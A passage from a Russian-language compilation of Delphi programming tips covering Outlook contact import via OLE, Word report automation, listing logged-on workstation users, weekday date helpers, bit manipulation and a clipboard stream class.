MyDocument.Fields.Update;
end;
finally
begin
Wordy.ScreenUpdating := true;
Wordy.visible := true;
Wordy := Unassigned;
Basically := UnAssigned;
Application.ProcessMessages;
end;
end
else
Result := false;
end;
function GetOutlookUp(ItemType: Integer): Boolean;
const
AppointmentItem = 'Calendar';
TaskItem = 'Tasks';
ContactItem = 'Contacts';
JournalItem = 'Journal';
NoteItem = 'Notes';
var
MyFolders: Variant;
MyFolders2: variant;
MyFolders3: variant;
MyFolder2: Variant;
MyFolder3: variant;
MyUser: Variant;
MyFolderItems: Variant;
MyFolderItems2: Variant;
MyFolderItems3: Variant;
MyContact: Variant;
i, i2, i3: Integer;
MyTree: TCreateCont;
MyTreeData: TTreeData;
RootNode, MyNode, MyNode2: ttreeNode;
ThisName: string;
begin
{это действительно безобразие........
В Outlook несколько странно реализована объектная модель,
и такие перлы как folder.folder.folder считаются "верным решением"
для получения доступа к папкам этой великолепной программы.}
{пользователь выбирает папку из дерева папок}
Result := False;
case ItemType of
olAppointmentItem: ThisName := AppointmentItem;
olContactItem: ThisName := ContactItem;
olTaskItem: ThisName := TaskItem;
olJournalItem: ThisName := JournalItem;
olNoteItem: ThisName := NoteItem;
else
ThisName := 'Unknown';
end;
try
MyOutlook := CreateOleObject('Outlook.Application');
except
warning('Ole интерфейс', 'Не могу запустить Outlook.');
Exit;
end;
{это папка верхнего уровня}
MyNameSpace := MyOutlook.GetNamespace('MAPI');
MyFolderItems := MyNameSpace.Folders;
MyTree := TCreateCont.create(Application);
{Действительно неудачно, ведь пользователь может создать что-то другое,
чем папки, предлагаемые по-умолчанию, на которые мы и хотели опереться
в нашей программе, поэтому перемещаемся на нижний уровень в цепочке папок}
MyTree.Caption := 'Выбрана ' + ThisName + ' папка';
with MyTree do
if MyFolderItems.Count > 0 then
for i := 1 to MyFolderItems.Count do
begin
MyFolder := MyNameSpace.Folders(i);
MyTreeData := TTreeData.create;
MyTreeData.ItemId := MyFolder.EntryId;
RootNode := TreeView1.Items.AddObject(nil, MyFolder.Name, MyTreeData);
MyFolders2 := MyNameSpace.folders(i).Folders;
if MyFolders2.Count > 0 then
for i2 := 1 to MyFolders2.Count do
begin
MyFolder2 := MyNameSpace.folders(i).Folders(i2);
if (MyFolder2.DefaultItemType = ItemType)
or (MyFolder2.Name = ThisName) then
begin
MyTreeData := TTreeData.create;
MyTreeData.ItemId := MyFolder2.EntryId;
{вот мы и добрались непосредственно до папок}
MyNode :=
Treeview1.Items.addChildObject(RootNode, MyFolder2.Name,
MyTreeData);
MyFolders3 :=
MyNameSpace.folders(i).Folders(i2).Folders;
if MyFolders3.Count > 0 then
for i3 := 1 to MyFolders3.Count do
begin
MyFolder3 := MyNameSpace.folders(i).Folders(i2).Folders(i3);
if (MyFolder3.DefaultItemType = ItemType) then
begin
MyTreeData := TTreeData.create;
MyTreeData.ItemId := MyFolder3.EntryId;
MyNode2 :=
Treeview1.Items.addChildObject(MyNode, MyFolder3.Name,
MyTreeData);
end;
end;
end;
end;
end;
if MyTree.TreeView1.Items.Count = 2 then
{есть только корневая папка и папка, определенная мной}
MyFolder :=
MyNameSpace.GetFolderFromID(TTreeData(MyTree.TreeView1.Items[1].Data).ItemId
)
else
begin
MyTree.Treeview1.FullExpand;
MyTree.ShowModal;
if MyTree.ModalResult = mrOk then
begin
if MyTree.Treeview1.Selected <> nil then
MyFolder :=
MyNameSpace.GetFolderFromID(TTreeData(MyTree.Treeview1.Selected.Data).ItemId
);
end
else
begin
MyOutlook := UnAssigned;
for i := MyTree.Treeview1.Items.Count - 1 downto 0 do
TTreeData(MyTree.Treeview1.Items[i].Data).free;
MyTree.release;
exit;
end;
end;
for i := MyTree.Treeview1.Items.Count - 1 downto 0 do
TTreeData(MyTree.Treeview1.Items[i].Data).free;
MyTree.release;
Result := true;
end;
function MakeOutlookContact(MyId: TMyId; MyContId: TMyContId): boolean;
var
MyContact: Variant;
begin
Result := false;
if not GetOutlookUp(OlContactItem) then
exit;
MyContact := MyFolder.Items.Add(olContactItem);
MyContact.Title := MyContId.Honorific;
MyContact.FirstName := MyContId.FirstName;
MyContact.MiddleName := MycontId.MiddleInit;
MyContact.LastName := MycontId.LastName;
MyContact.Suffix := MyContId.Suffix;
MyContact.CompanyName := MyId.OrganizationName;
MyContact.JobTitle := MyContId.Title;
MyContact.OfficeLocation := MyContId.OfficeLocation;
MyContact.CustomerId := MyId.ID;
MyContact.Account := MyId.AccountId;
MyContact.BusinessAddressStreet := MyId.Address1 + CRLF + MyId.Address2;
MyContact.BusinessAddressCity := MyId.City;
MyContact.BusinessAddressState := MyId.StProv;
MyContact.BusinessAddressPostalCode := MyId.Postal;
MyContact.BusinessAddressCountry := MyId.Country;
if (MyContId.Fax = Nothing) or (MyContId.Fax = ASpace) then
MyContact.BusinessFaxNumber := MyId.Fax
else
MyContact.BusinessFaxNumber := MyContId.Fax;
if (MyContId.WorkPhone = Nothing) or (MyContId.WorkPhone = ASpace) then
MyContact.BusinessTelephoneNumber := MyId.Phone
else
MyContact.BusinessTelephoneNumber := MyContId.WorkPhone;
MyContact.CompanyMainTelephoneNumber := MyId.Phone;
MyContact.HomeFaxNumber := MyContId.HomeFax;
MyContact.HomeTelephoneNumber := MyContId.HomePhone;
MyContact.MobileTelephoneNumber := MyContId.MobilePhone;
MyContact.OtherTelephoneNumber := MyContId.OtherPhone;
MyContact.PagerNumber := MyContId.Pager;
MyContact.Email1Address := MyContId.Email;
MyContact.Email2Address := MyId.Email;
Result := true;
try
MyContact.Save;
except
Result := false;
end;
MyOutlook := Unassigned;
end;
function GetThisOutlookItem(AnIndex: Integer): Variant;
begin
Result := myFolder.Items(AnIndex);
end;
function GetOutlookFolderItemCount: Integer;
var
myItems: Variant;
begin
try
MyItems := MyFolder.Items;
except
begin
Result := 0;
exit;
end;
end;
Result := MyItems.Count;
end;
function FindMyOutlookItem(AFilter: string; var AItem: Variant):
Boolean;
begin
{не забудьте предварительно инициализировать AItem значением NIL}
Result := true;
try
AItem := myFolder.Items.Find(AFilter);
except
begin
aItem := MyFolder;
Result := false;
end;
end;
end;
function FindNextMyOutlookItem(var AItem: Variant): Boolean;
begin
Result := true;
try
AItem := myFolder.Items.FindNext;
except
begin
AItem := myFolder;
Result := false;
end;
end;
end;
function CloseOutlook: Boolean;
begin
try
MyOutlook := Unassigned;
except
end;
Result := true;
end;
|
Как использовать весь этот код? Вот модуль для работы с Контактами программы Outlook. Строим расширенный список контактов (компонент TExtListView вы можете найти на www.torry.ru).
unit UImpContact;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
UMain, StdCtrls, Buttons, ComCtrls, ExtListView;
type
TFindContact = class(TForm)
ContView1: TExtListView;
SearchBtn: TBitBtn;
CancelBtn: TBitBtn;
procedure SearchBtnClick(Sender: TObject);
procedure CancelBtnClick(Sender: TObject);
procedure ContView1DblClick(Sender: TObject);
procedure FormCreate(Sender: TObject);
procedure FormClose(Sender: TObject; var Action: TCloseAction);
private
{ Private declarations }
public
{ Public declarations }
end;
var
FindContact: TFindContact;
implementation
uses USearch;
{$R *.DFM}
procedure TFindContact.SearchBtnClick(Sender: TObject);
begin
if ContView1.Selected <> nil then
ContView1DblClick(nil);
end;
procedure TFindContact.CancelBtnClick(Sender: TObject);
begin
CloseOutlook;
ModalResult := mrCancel;
end;
procedure TFindContact.ContView1DblClick(Sender: TObject);
var
MyContact: variant;
begin
if ContView1.Selected <> nil then
begin
MyContact := GetThisOutlookItem(StrToInt(ContView1.Selected.subitems[2]));
with StartForm.MyId do
if not GetData(MyContact.CustomerId) then
begin
InitData;
if MyContact.CustomerId <> '' then
Id := MyContact.CustomerId
else
Id := MyContact.CompanyName;
if DoesIdExist(Startform.MyId.Id) then
begin
Warning('Дескриптор данных', 'Не могу установить уникальный Id' + CRLF
+ 'Отредактируйте CustomerId в Outlook и попытайтесь снова');
CloseOutlook;
ModalResult := mrCancel;
Exit;
end;
OrganizationName := MyContact.CompanyName;
IdType := 1;
AccountId := MyContact.Account;
Address1 := MyContact.BusinessAddressStreet;
City := MyContact.BusinessAddressCity;
StProv := MyContact.BusinessAddressState;
Postal := MyContact.BusinessAddressPostalCode;
Country := MyContact.BusinessAddressCountry;
Phone := MyContact.CompanyMainTelephoneNumber;
Insert;
end;
with StartForm.MyContId do
begin
InitData;
ContIdId := StartForm.MyId.Id;
Honorific := MyContact.Title;
FirstName := MyContact.FirstName;
MiddleInit := MyContact.MiddleName;
LastName := MyContact.LastName;
Suffix := MyContact.Suffix;
Fax := MyContact.BusinessFaxNumber;
WorkPhone := MyContact.BusinessTelephoneNumber;
HomeFax := MyContact.HomeFaxNumber;
HomePhone := MyContact.HomeTelephoneNumber;
MobilePhone := MyContact.MobileTelephoneNumber;
OtherPhone := MyContact.OtherTelephoneNumber;
Pager := MyContact.PagerNumber;
Email := MyContact.Email1Address;
Title := MyContact.JobTitle;
OfficeLocation := MyContact.OfficeLocation;
Insert;
end;
end;
CloseOutlook;
ModalResult := mrOk;
end;
procedure TFindContact.FormCreate(Sender: TObject);
var
MyContact: Variant;
MyCount: Integer;
i: Integer;
AnItem: TListItem;
begin
if not GetOutlookUp(OlContactItem) then
exit;
MyCount := GetOutlookFolderItemCount;
for i := 1 to MyCount do
begin
MyContact := GetThisOutlookItem(i);
AnItem := ContView1.Items.Add;
AnItem.Caption := MyContact.CompanyName;
AnItem.SubItems.add(MyContact.FirstName);
AnItem.Subitems.Add(MyContact.LastName);
AnItem.SubItems.Add(inttostr(i));
end;
end;
procedure TFindContact.FormClose(Sender: TObject;
var Action: TCloseAction);
begin
Action := cafree;
end;
end.
|
Работа с MsWord из Delphi - Нестандартные отчёты.
Оформил: DeeCo
Автор: Шлеенкин Александр.
Содержание: Введение Нестандартные отчёты - кто и зачем этим занимается Основы работы с OLE Ошибки при вызове WORD Создание отчётов в WORD (различные подходы) Предварительная настройка страницы WORD Полезные утилиты НапоследокВведение.
Данная статья написана на базе реальной программы "Автоматизация производства" — автоматической генерации сопровождающей документации при разработке печатных плат на программных продуктах "P-CAD 2000/2001". Перечень элементов Спецификация Ведомость комплектацииНа каждом предприятии, будь то малый бизнес и огромный завод, немалую роль играет составление документации и отчётов. Почти всегда этим занимается специально выделенный человек. Так заведено уже давно, но теперь всё чаще появляются инициативные руководители, стремящиеся свести эти горы однотипной рутинной работы с человека на машину. Для этого и используют программы автоматизации производства. Эти программы автоматически генерируют требуемую документацию. Зачастую это сводится к работе с базами данных и библиотеками. Есть много программ делающих это. Но типов таковой документации столь много, что современные программные монстры, такие как пользовательская программа (MS ACCESS) или программируемый монстр (ORACLE) не в состоянии обеспечить даже половины нужд. Ведь у каждого предприятия своя с годами сложившаяся традиция заполнения документации или свой "Норма контроль" с заданными обязательными параметрами. Универсальной программы такого сорта нет и быть не может. Поскольку специфика работы предприятия может быть как гибкой в области документации (коммерческий ларёк), так и строго установленной на мировом уровне (банк или производственная сфера). Для решения этих проблем используют нестандартные отчёты. Отчёты сделанные специально под требования, наложенные на их оформления. Вы только представьте, ту работу, которую сотрудник выполнял несколько месяцев, программа сделает за пару минут!!! И это вполне реально. Данная статья представляет собой набор советов и примеров, которые помогут разработчику разобраться в столь оставленной без внимания теме, как автоматизация производства. Поскольку документации по этой теме практически нет, то данная статья поможет резко уменьшить время разработки таких программ с месяцев до недель. Но хотя по предлагаемой информации уже были созданы описанные выше программы, этой информации может всё равно оказаться недостаточно. В конце статьи вы найдёте координаты связи для пополнения содержательной части статьи и вопросов. Иллюстрирующие примеры мы приводим на языке Delphi 32 (версии 5 и выше). Выбор был остановлен на Делфи в виду её простоты и наглядности, но все идеи и реализации, изложенные в статье, легко переносятся на любой другой обьектно ориентированный язык программирования высокого уровня.
Нестандартные отчёты - кто и зачем этим занимается.
На вопрос "зачем" мы, думаю, дали уже достаточно аргументации. Но всё-таки это не всё, остановимся на ещё неописанных проблемах.
Первый вопрос, который нам обычно задают - это где я смогу это использовать кроме как на предприятии, сфера применимости данной тематики довольно широка, рассмотрим некоторые вопросы и варианты их решения по средствам работы с Ворд и созданием отчётов:
Удобство интерфейса. Вы можете предоставлять пользователю информацию прямо через WORD, где он сможет либо распечатать её, либо внести необходимые корректировки или сохранить себе копию. Согласитесь, чтобы реализовать это как-либо иначе уйдёт слишком много времени, а интерфейс WORD интуитивен, знаком и понятен, так что ряд проблем просто отпадает. Вы можете пользоваться любыми средствами, какими располагает Ворд. В том числе проигрывать видео и аудио записи, выдавать изображения, кроме того, становятся доступны любые возможности конвертации файлов (Например, можно не используя тегов через Ворд создать документ HTML) Реальностью становится программа, анализирующая документы формата WORD на диске и создание библиотеки вида название документа = имя файла, причём всю информацию можно напрямую собирать из WORD документов. Можно реализовывать локальные операции, допустим, все файлы WORD перевести в DОSовские TXT файлы. И многое, многое другое.А на счёт кто же этим занимается? Эта информация может быть полезна руководителям. Любой WINDOWS программист с высшим или средне специальным образованием, знакомый с ЯВУ и ООП. Такого вида программистов часто называют прикладными. Срок изготовления в среднем 2-3 месяца с учётом бета тестирования.
Основы работы с OLE.
На программном уровне работа с WORD заключается в использовании OLE. Основная структура взаимодействия такова: Существует программа СЕРВЕР, которая считается главной и именно она выполняет все операции, в нашем случае сервером является программа WORD. Из этих слов уже ясно, что если WORD не установлен на компьютере, то есть сервер отсутствует, то ничего выполнено быть не может. Просто некому будет выполнять. Это, по сути, наиболее распространенный вопрос среди программистов среднего класса. Вторая взаимодействующая программа - это программа КЛИЕНТ, все, что она делает - это связывается с сервером и просит его выполнить необходимые операции, сама по себе она ничего не может. В результате такого взаимодействия и решается поставленная задача. Теперь рассмотрим реализацию:
procedure Word.Run;
var
verr, verr1: string;
i, verrI: integer;
const
DigiChar = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9'];
begin
try
MsWord := CreateOleObject('Word.Application');
MsWord.Visible := False;
except
error(1, 'Microsoft Word не установлен');
end;
verr := Trim(Version);
verr1 := '';
for i := 1 to Length(verr) do
if not (verr[i] in DigiChar) then
break
else
verr1 := verr1 + verr[i];
verrI := StrToInt(verr1);
if verrI<
9 then
error(1, 'Требуется WORD 2000/XP или выше');
end;
Эта процедура связывает переменную MsWord с Ole, в результате чего подгружается сам WORD, далее мы делаем его пока невидимым и проверяем версию, пояснения процедуры проверки версии будут позже.
type
Word = class
public
function Version: string; //shadow
procedure Error(i: integer; str: string); //intro
MsWord: Variant; // Main
end;
Главный класс, в котором описаны основные переменные и процедуры необходимые для корректной работы с WORD.
Следует помнить и совершать все необходимые проверки совместимости сразу, чтобы избежать некорректной работы впоследствии. В случае отсутствия Ворд или несоответствия версии необходимо сразу предупредить об этом пользователя для принятия необходимых мер...
Ошибки при вызове WORD.
Для начала опишем процедуру загрузки в WORD DOC файла, делается это так:
procedure Word.Open(fileName: string);
begin
try
MsWord.Documents.Add(fileName, EmptyParam);
except
Error(2, 'файл не найден');
end;
end;
Можно к уже открытому добавить ещё один, так чтобы в итоге из двух получить один.
procedure Word.Open_Next(fileName: string);
begin
try
MsWord.Selection.InsertFile(FileName := filename, ConfirmConversions :=
false, Link := false);
except
Error(2, 'файл не найден');
end;
end;
A вот и процедура, которая наиболее часто используется в приложениях такого типа!
procedure Word.Error(i: integer; str: string);
begin
case i of
1:
begin
showmessage(str);
showmessage('Продолжение работы невозможно');
Application.Terminate;
end;
2:
begin
showmessage(str);
showmessage('Продолжение работы невозможно');
Application.Terminate;
end;
end;
showmessage(str);
Exit;
end;
А теперь рассмотрим проблемы, которые встречаются при работе с WORD, о которых говорилось ранее. Если установить Ворд и попытаться сразу связаться с ним через Ole, то ничего не получится, дело в том, что при первом запуске WORD программа предлагает напечатать тестовую страницу, при этом, никак не сообщив об этом Ole клиенту. Из-за чего в работе вашей программы может происходить сбой. И исправлению эта ошибка не подлежит, данная неприятность - дело рук компании MICROSOFT создавшей WORD и пока она эту проблему решать не собирается, как видно из WORD XP. Ещё может быть ситуация, когда открываемый WORD файл уже занят другим приложением, или копией вашего, тогда ворд предлагает использовать режим только для чтения, а по освобождению ресурса предлагает переход в возможность редактирования. Это тоже влияет на работу клиентской программы, поскольку требует от пользователя согласия на изменение режимов. Файл, который вы открываете, просто не существует. Эту проблему вам придётся решать средствами языка разработки. WORD подобные сервисы не предоставляет. На используемой машине не хватает памяти. Ответ на этот вопрос смотрите в пункте 3.
Создание отчётов в WORD (различные подходы).
Существует несколько подходов создания нестандартных отчётов в WORD, используя OLE технологии, рассмотрим их по порядку: Это стандартный подход. Клиент делает запрос, сервер выполняет, клиент делает следующий запрос и так далее, пока задача не будет решена. Можно использовать встроенный в WORD язык VBA, написать необходимые макросы на Visual Basic Script и внедрить их в текущий документ, тогда останется только вызывать их и всё. За счёт этого можно реально выиграть во времени, но волею случая этот метод в основном используется в компьютерных вирусах, за счёт чего относится к вирусным технологиям и из-за этого некоторые антивирусы могут определять вашу программу как инфицированную WORD вирусом. Поэтому данный метод так и не получил распространения среди Ole программ. Третий метод - самый важный, а заключается он в сочетании первых двух, таким образом, демонстрируя взаимное дополнение подходов.Для воплощения любого из 3-х подходов необходимы ещё дополнительные действия. Если требуется записывать/читать с определённой позиции в тексте или необходимо работать с таблицей, то надо расставить закладки в нужных позициях документа. Это лучше всего сделать в шаблонном документе вручную. Потом надо будет найти эти закладки в тексте и перейти к ним. Для начала, напишем процедуру поиска закладки и перехода к ней.
procedure Word.search(data: string); var What, Which, Count, Name: OLEVariant; begin What := -1; Which := unAssigned; Count := unAssigned; Name := data; MsWord.Selection.goto(What, Which, Count, Name); end;Теперь закладку мы нашли запишем в то место что-нибудь
procedure Word.insert(info: string; _bold, _italic, _StrikeThrough, _Underline:
boolean; _Size: integer; _center: boolean);
begin
MsWord.Selection.Font.Bold := _bold;
MsWord.Selection.Font.italic := _italic;
MsWord.Selection.Font.StrikeThrough := _StrikeThrough;
MsWord.Selection.Font.Underline := _Underline;
MsWord.Selection.Font.Size := _Size;
if _center = true then
MsWord.Selection.ParagraphFormat.Alignment := 1;
MsWord.selection.TypeText(info);
end;
Великолепно, кроме простой записи, мы получили, и доступ к конфигурации текста и можем писать текст с атрибутами жирный, курсив, зачёркнутый, подчёркнутый, указывать размер шрифта и даже отслеживать центровку, поверите мне - этого более чем достаточно для реализации программ любой степени сложности!
Теперь напишем процедуру перехода к следующей ячейке таблицы, считаем, что на первую мы перешли по закладке!
procedure Word.NextCell;
begin
MsWord.Run('NextCell');
end;
Таким же образом запускаются макросы WORD, только вместо NextCell надо вставить имя макроса который хотим запустить. Важно не забывать, что через Ole можно вызывать только "свободные макросы" то есть без параметров!!! (VIRUS TECHNOLOGIES NOT FOR GAME).
А вот ещё процедура. Она позволяет пропускать нужное число ячеек таблицы с учётом, что позиционирования на закладке ещё возможно не было.
procedure Word.SkipCell(n: integer);
var
i: integer;
begin
if n<
1 then
Exit;
if not NewList then
begin
for i := 1 to n do
MsWord.Run('NextCell');
end
else if n>
1 then
begin
search('a1');
for i := 1 to n - 1 do
MsWord.Run('NextCell')
end
else
begin
search('a1');
end;
end;
NewList - переменная булевского типа, отвечающая за начало нового листа и новой таблицы на нём. a1 - закладка на первую ячейку таблицы. Есть ещё команда по работе с закладками. Это удаление. MsWord.ActiveDocument.Bookmarks.Item(1).Delete;
Данная команда удаляет первую закладку. Это очень удобно для многостраничного документа. Ведь каждая страница содержит одинаковые закладки, поэтому, прежде чем загрузить новую страницу необходимо удалить старые закладки, иначе закладки не загрузятся.
Полезная процедура для всех типов подходов к ole программированию. Она пересчитывает сантиметры в пиксели.
function Word.CentimetersToPoints(a: Single): Single;
begin
{Converts a measurement from centimeters to points (1 cm = 28.35 points).
Returns the converted measurement as a Single.
Syntax
expression.CentimetersToPoints(Centimeters)
expression Optional. An expression that returns an Application object.
Centimeters Required Single. The centimeter value to be converted to points.}
Result := 28.35 * a;
end;
Предварительная настройка страницы WORD.
Одной из самых распространенных проблем работы с Ole WORD - различные настройки конфигурации у разных версий WORD и на разных машинах, Вследствие чего иногда документ воспроизводится некорректно. Эту проблему можно решить, задав параметры конфигурации страницы вручную. Среди таких настроек отдельно можно выделить возможности корректировки отступов справа, слева, сверху и снизу, а также ряд других параметров.
procedure Word.Normalize; begin //MsWord.ActiveDocument.PageSetup.LineNumbering.Active := False; //MsWord.ActiveDocument.PageSetup.Orientation :=0;// wdOrientPortrait; MsWord.ActiveDocument.PageSetup.TopMargin := CentimetersToPoints(0.75); MsWord.ActiveDocument.PageSetup.BottomMargin := CentimetersToPoints(0.2); MsWord.ActiveDocument.PageSetup.LeftMargin := CentimetersToPoints(0.5); MsWord.ActiveDocument.PageSetup.RightMargin := CentimetersToPoints(0.5); MsWord.ActiveDocument.PageSetup.Gutter := CentimetersToPoints(0); MsWord.ActiveDocument.PageSetup.HeaderDistance := CentimetersToPoints(1.27); MsWord.ActiveDocument.PageSetup.FooterDistance := CentimetersToPoints(1.27); //MsWord.ActiveDocument.PageSetup.PageWidth := CentimetersToPoints(21); //MsWord.ActiveDocument.PageSetup.PageHeight := CentimetersToPoints(29.7); //MsWord.ActiveDocument.PageSetup.FirstPageTray :=0;// wdPrinterDefaultBin; //MsWord.ActiveDocument.PageSetup.OtherPagesTray :=0;// wdPrinterDefaultBin; //MsWord.ActiveDocument.PageSetup.SectionStart :=2;// wdSectionNewPage; //MsWord.ActiveDocument.PageSetup.OddAndEvenPagesHeaderFooter := False; //MsWord.ActiveDocument.PageSetup.DifferentFirstPageHeaderFooter := False; //MsWord.ActiveDocument.PageSetup.VerticalAlignment :=0;// wdAlignVerticalTop; //MsWord.ActiveDocument.PageSetup.SuppressEndnotes := False; //MsWord.ActiveDocument.PageSetup.MirrorMargins := False; //MsWord.ActiveDocument.PageSetup.TwoPagesOnOne := False; //MsWord.ActiveDocument.PageSetup.GutterPos :=0;// wdGutterPosLeft; end;
Как вы видите, ряд настроек закомментирован, и это не случайность. Поскольку кождое обращение к серверу занимает время, то слишком объемное конфигурирование системы может привести к тому, что пользователь подумает, что программа, должно быть, зависла и перезагрузится, не дав выполнить всё конфигурирование целиком. Поэтому я советую ввести эту возможность как полезную утилиту программы, типа: Full Correction.
Полезные утилиты.
Вообще-то всего описанного выше вполне достаточно для работы, но есть такое понятие, как "подвязать бантики и шнурочки" и именно это мы и сделаем...
Получить версию WORD:function Word.Version: string; var verr: string; begin verr := MsWord.Version; Result := verr; end;Закрыть WORD:
procedure Word.Quit; begin MsWord.Quit; end;Закрыть документ WORD:
procedure Word.Close; begin MsWord.Documents.Close; end;Сохранить активный документ:
procedure Word.Save(Name: string); begin MsWord.ActiveDocument.SaveAs(FileName := Name); end;Отправка активного документа на печать:
procedure Word.Print; begin MsWord.ActiveDocument.Print; end;Разрыв страницы - переход к новой странице. Реализуется так:
MsWord.Selection.InsertBreak;
Напоследок.
Мы надеемся, что прочтение данной статьи помогло вам справится с возникшими проблемами или удовлетворило возникший интерес к данному вопросу. Если у вас есть замечания или предложение, то пишите, пожалуйста, по электронной почте.
Вывести информацию о пользователях, подключенных к рабочей станции.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
type
THostInfo = record
username: PWideChar;
logon_domain: PWideChar;
other_domains: PWideChar;
logon_server: PWideChar;
end;
WKSTA_USER_INFO_0 = packed record
wkui0_username: PWideChar;
end;
PWKSTA_USER_INFO_0 = ^WKSTA_USER_INFO_0;
implementation
{$R *.dfm}
function NetWkstaUserEnum(servername: PWideChar;
// Pointer to a string that specifies the DNS or NetBIOS name of the
// remote server on which the function is to execute.
// If this parameter is nil, the local computer is used.
level: DWORD;
// Level = 0 : Return the names of users currently logged on to the workstation.
var bufptr: Pointer; // Pointer to the buffer that receives the data
prefmaxlen: DWORD;
// Specifies the preferred maximum length of returned data, in bytes.
var entriesread: PDWord;
// Pointer to a value that receives the count of elements actually enumerated.
var totalentries: PDWord; // total number of entries
var resumehandle: PDWord)
// contains a resume handle which is used to continue an existing search
: Longint;
stdcall; external 'netapi32.dll' Name 'NetWkstaUserEnum';
function EnumNetUsers(HostName: WideString {; Users: TStrings}): THostInfo;
const
STR_ERROR_ACCESS_DENIED = 'The user does not have access to the requested information.';
STR_ERROR_MORE_DATA = 'Specify a large enough buffer to receive all entries.';
STR_ERROR_INVALID_LEVEL = 'The level parameter is invalid.';
var
Info: Pointer;
ElTotal: PDWord;
ElCount: PDWord;
Resume: PDWord;
Error: Longint;
// UI : PWKSTA_USER_INFO_0;
// i : Integer;
begin
Resume := 0;
NetWkstaUserEnum(PWideChar(HostName),
1,
Info,
0,
ElCount,
ElTotal,
Resume);
Error := NetWkstaUserEnum(PWideChar(HostName),
1,
Info,
256 * Integer(ElTotal),
ElCount,
ElTotal,
Resume);
case Error of
ERROR_ACCESS_DENIED: Result.UserName := STR_ERROR_ACCESS_DENIED;
ERROR_MORE_DATA: Result.UserName := STR_ERROR_MORE_DATA;
ERROR_INVALID_LEVEL: Result.UserName := STR_ERROR_INVALID_LEVEL
else
if Info <> nil then
begin
Result := THostInfo(info^);
{
To retrieve all users:
UI := PWKSTA_USER_INFO_0(Info);
for i := 1 to DWord(ElCount) do
begin
Users.Add(UI^.wkui0_username);
inc(UI);
end;
}
end
else
begin
Result.UserName := 'N/A';
Result.logon_domain := 'N/A';
Result.other_domains := 'N/A';
Result.logon_server := 'N/A';
end;
end;
end;
procedure TForm1.Button1Click(Sender: TObject);
var
HostInfo: THostInfo;
begin
// Specify target machine as argument (with or without preceding \\)
HostInfo := EnumNetUsers('WORKSTATION');
with HostInfo do
begin
Memo1.Lines.Add(username + #13#10+
logon_domain + #13#10+
other_domains + #13#10+
logon_server);
end;
end;
Получить даты с понедельника по пятницу текущей недели.
{
Data sometimes have to be filtered regarding to working
days (Mo.-Fri.) of the current Week. Following procs set
your TDateTimePicker automatically.
}
function GetMonday(RefDay: TDate): TDate;
var
DoW: Integer;
DateOffset: Integer;
begin
DoW := DayOfWeek(RefDay);
// Montag der Woche
if DoW = 1 then DateOffset := -6
else
DateOffset := Dow - 2;
Result := RefDay - DateOffset;
end;
function GetFriday(RefDay: TDate): TDate;
var
DoW: Integer;
DateOffset: Integer;
begin
DoW := DayOfWeek(RefDay);
{
Friday of current week
Freitag der Woche
}
if DoW = 1 then DateOffset := -2
else
DateOffset := Dow - 6;
Result := RefDay - DateOffset;
end;
procedure SetWorkingDaysFilter(S, E: TDateTimePicker);
var
N: TDate;
begin
N := Now;
S.Date := GetMonday(N);
E.Date := GetFriday(N);
end;
{Just as short as simple}
{Einfach und kurz}
type
TForm1 = class(TForm)
DStart: TDateTimePicker;
DEnd: TDateTimePicker;
btSetFilter: TButton;
procedure btSetFilterClick(Sender: TObject);
end;
procedure TForm1.btSetFilterClick(Sender: TObject);
begin
SetWorkingDaysFilter(DStart, DEnd);
end;
|
Заставить Delphi работать с достаточно большим массивом данных.
| Программист ставит себе на тумбочку перед сном два стакана. Один с водой - на случай, если захочет ночью пить. А второй пустой - на случай, если не захочет. |
procedure TForm1.Button1Click(Sender: TObject);
type
TMyRec = record
i1, i2, i3: Integer;
end;
TMyArr = array[1..20000000] of TMyRec;
PMyArr=^TMyArr;
var
A: PMyArr;
begin
GetMem(A, SizeOf(TMyArr));
A^[1].i1 := 100;
ShowMessage('Ok' + IntToStr(A^[1].i1));
FreeMem(A);
end;
|
Как работать с битами.
Есть два способа.Низкоуровневый подход обеспечивается логическими операциями :
var I : integer; N : integer; // Номер бита в диапазоне от 0..SizeOf(TYPE)*8 - 1 begin I := I or (1 shl N); // установка бита I := I and not (1 shl N); // сброс бита I := I xor (1 shl N); // инверсия бита if (i and (1 shl N)) <> 0 then... // проверка установленного бита end; |
Высокоуровневый подход опирается на представление числа в виде множества:
type TIntegerSet = set of 0..SizeOf(Integer)*8 - 1; var I : Integer; N : Integer; begin Include(TIntegerSet(I), N); // установили N-ный бит в 1 Exclude(TIntegerSet(I), N); // сбросили N-ный бит в 0 if N in TIntegerSet(I) then... // проверили N-ный бит end; |
Как удобнее работать с буфером обмена как с последовательностью байт.
Автор: Alexey Mahotkin WEB-сайт: ftp://ftp.nf.ru/pub/alexm
unit ClipStrm;
{
This unit is Copyright (c) Alexey Mahotkin 1997-1998
and may be used freely for any purpose. Please mail
your comments to
E-Mail: alexm@hsys.msk.ru
FidoNet: Alexey Mahotkin, 2:5020/433
This unit was developed during incorporating of TP Lex/Yacc
into my project. Please visit ftp://ftp.nf.ru/pub/alexm
or FREQ FILES from 2:5020/433 or mail me to get hacked
version of TP Lex/Yacc which works under Delphi 2.0+.
}
interface
uses
Classes, Windows;
type
TClipboardStream = class(TStream)
private
FMemory: pointer;
FSize: longint;
FPosition: longint;
FFormat: word;
public
constructor Create(fmt: word);
destructor Destroy; override;
function read(var Buffer; Count: Longint): Longint; override;
function write(const Buffer; Count: Longint): Longint; override;
function Seek(Offset: Longint; Origin: Word): Longint; override;
end;
implementation
uses
SysUtils;
constructor TClipboardStream.Create(fmt: word);
var
tmp: pointer;
FHandle: THandle;
begin
FFormat := fmt;
OpenClipboard(0);
FHandle := GetClipboardData(FFormat);
FSize := GlobalSize(FHandle);
FMemory := AllocMem(FSize);
tmp := GlobalLock(FHandle);
MoveMemory(FMemory, tmp, FSize);
GlobalUnlock(FHandle);
FPosition := 0;
CloseClipboard;
end;
destructor TClipboardStream.Destroy;
begin
FreeMem(FMemory);
end;
function TClipboardStream.read(var Buffer; Count : longint) : longint;
begin
if FPosition + Count > FSize then
Result := FSize - FPosition
else
Result := Count;
MoveMemory(@Buffer, PChar(FMemory) + FPosition, Result);
Inc(FPosition, Result);
end;
function TClipboardStream.write(const Buffer; Count : longint) : longint;
var
FHandle: HGlobal;
tmp: pointer;
begin
ReallocMem(FMemory, FPosition + Count);
MoveMemory(PChar(FMemory) + FPosition, @Buffer, Count);
FPosition := FPosition + Count;
FSize := FPosition;
